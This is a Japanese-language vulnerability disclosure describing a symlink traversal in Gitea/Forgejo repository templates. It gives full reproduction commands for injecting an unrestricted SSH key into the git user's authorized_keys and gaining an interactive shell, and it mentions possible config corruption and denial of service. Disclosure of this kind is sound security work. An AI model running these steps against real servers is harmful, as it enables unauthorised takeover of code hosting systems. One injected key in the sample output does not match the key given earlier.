
GiteaおよびForgejoのリポジトリテンプレート処理におけるディレクトリトラバーサルにより、リモートの認証済み攻撃者がファイルシステム上の任意のファイルを処理でき、リモートコード実行につながります。
この作品は クリエイティブ・コモンズ 表示-継承 4.0 国際ライセンス の下でライセンスされています。
Forgejo と Gitea のソースコードを確認し、テンプレート処理の仕組みをより深く理解していたところ、認証済みユーザーが悪意のあるテンプレートリポジトリを作成し、ファイルシステム上の任意のファイルを処理できる脆弱性を発見しました。
悪意のあるテンプレートの Git コンテンツに基づいてリポジトリを作成すると、テンプレートがファイルシステム上の任意のファイルを展開できるようになります。
git ユーザーのホームディレクトリのパス(公式 Docker イメージでは /data/git がデフォルト)を知っている場合、攻撃者は git ユーザーの .ssh/authorized_keys ファイルを展開して、command パラメータなしでキーを注入し、任意のコマンドやインタラクティブシェルを実行できるようになります。
影響を受けるバージョン: Gitea >= v1.11.0-rc1 && <= v1.24.6,
Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)
影響を受けるコンポーネント: テンプレートリポジトリ
根本原因: テンプレートファイルの内容を読み書きする際のシンボリックリンクの逆参照
攻撃者は正規ユーザーとして認証する
攻撃者は、推測した git ユーザーの .ssh/authorized_keys ファイルへのシンボリックリンクと、そのシンボリックリンクを参照する .forgejo/template ファイルを含む悪意のあるテンプレートリポジトリを作成する
攻撃者は、コメントが ${REPO_DESCRIPTION} で終わる ssh 公開鍵をアカウントに追加する
攻撃者は、Git コンテンツテンプレートを有効にし、説明に改行と別の ssh 公開鍵を含む、悪意のあるテンプレートリポジトリを参照するリポジトリを作成する
Gitea/Forgejo のテンプレートが authorized_keys のシンボリックリンクを読み取りテンプレート展開し、先に設定された公開鍵のコメントが攻撃者のリポジトリ説明に対応する任意のエントリに展開され、command パラメータがなくなる
攻撃者は、注入された鍵を使用して git ユーザーとしてインタラクティブにログインする
攻撃者は設定ファイルや SQLite データベースを破損したり、巨大なファイルを読み込んでサービス拒否を引き起こすことも可能です。
脆弱なバージョンの Gitea/Forgejo をインストールして設定する
管理者アカウントを使用して攻撃者のアカウントを登録または作成する
攻撃者アカウントでログインする
2つの異なるSSH鍵を生成する: 1つはGit用、もう1つはインタラクティブSSH用
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
~/.ssh/attacker-git.pub ファイルの内容を承認された ssh 鍵として追加する鍵のコメントは以下のように表示されるはずです:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
git ユーザーの .ssh/authorized_keys は次のようになります:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
Gitea/Forgejo UI を使用して悪意のあるテンプレートリポジトリを作成する
テンプレートリポジトリをクローンし、悪意のあるシンボリックリンクとテンプレート設定を追加する
# テンプレートリポジトリをクローン
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template
# 悪意のあるシンボリックリンクを作成
ln -s /data/git/.ssh/authorized_keys
# Gitea を使用する場合、Gitea テンプレート設定を作成
mkdir .gitea
echo authorized_keys > .gitea/template
# Forgejo を使用する場合、Forgejo テンプレート設定を作成
mkdir .forgejo
echo authorized_keys > .forgejo/template
# 変更をコミットしてプッシュ
git add -A
git commit -m 'Initial commit'
git push
~/.ssh/attacker-ssh.pub ファイルの内容を含む、悪意のあるテンプレートリポジトリを参照する新しいリポジトリを作成するリポジトリの説明は次のようになります:
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine
最初の行の replaced は必須ではありませんが、改行はそのまま残す必要があります。行末の attacker@machine コメントも任意です。
結果として得られる git ユーザーの .ssh/authorized_keys は次のようになります:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
~/.ssh/attacker-ssh 鍵と ssh クライアントを使用して接続するssh -i ~/.ssh/attacker-ssh git@localhost -p 222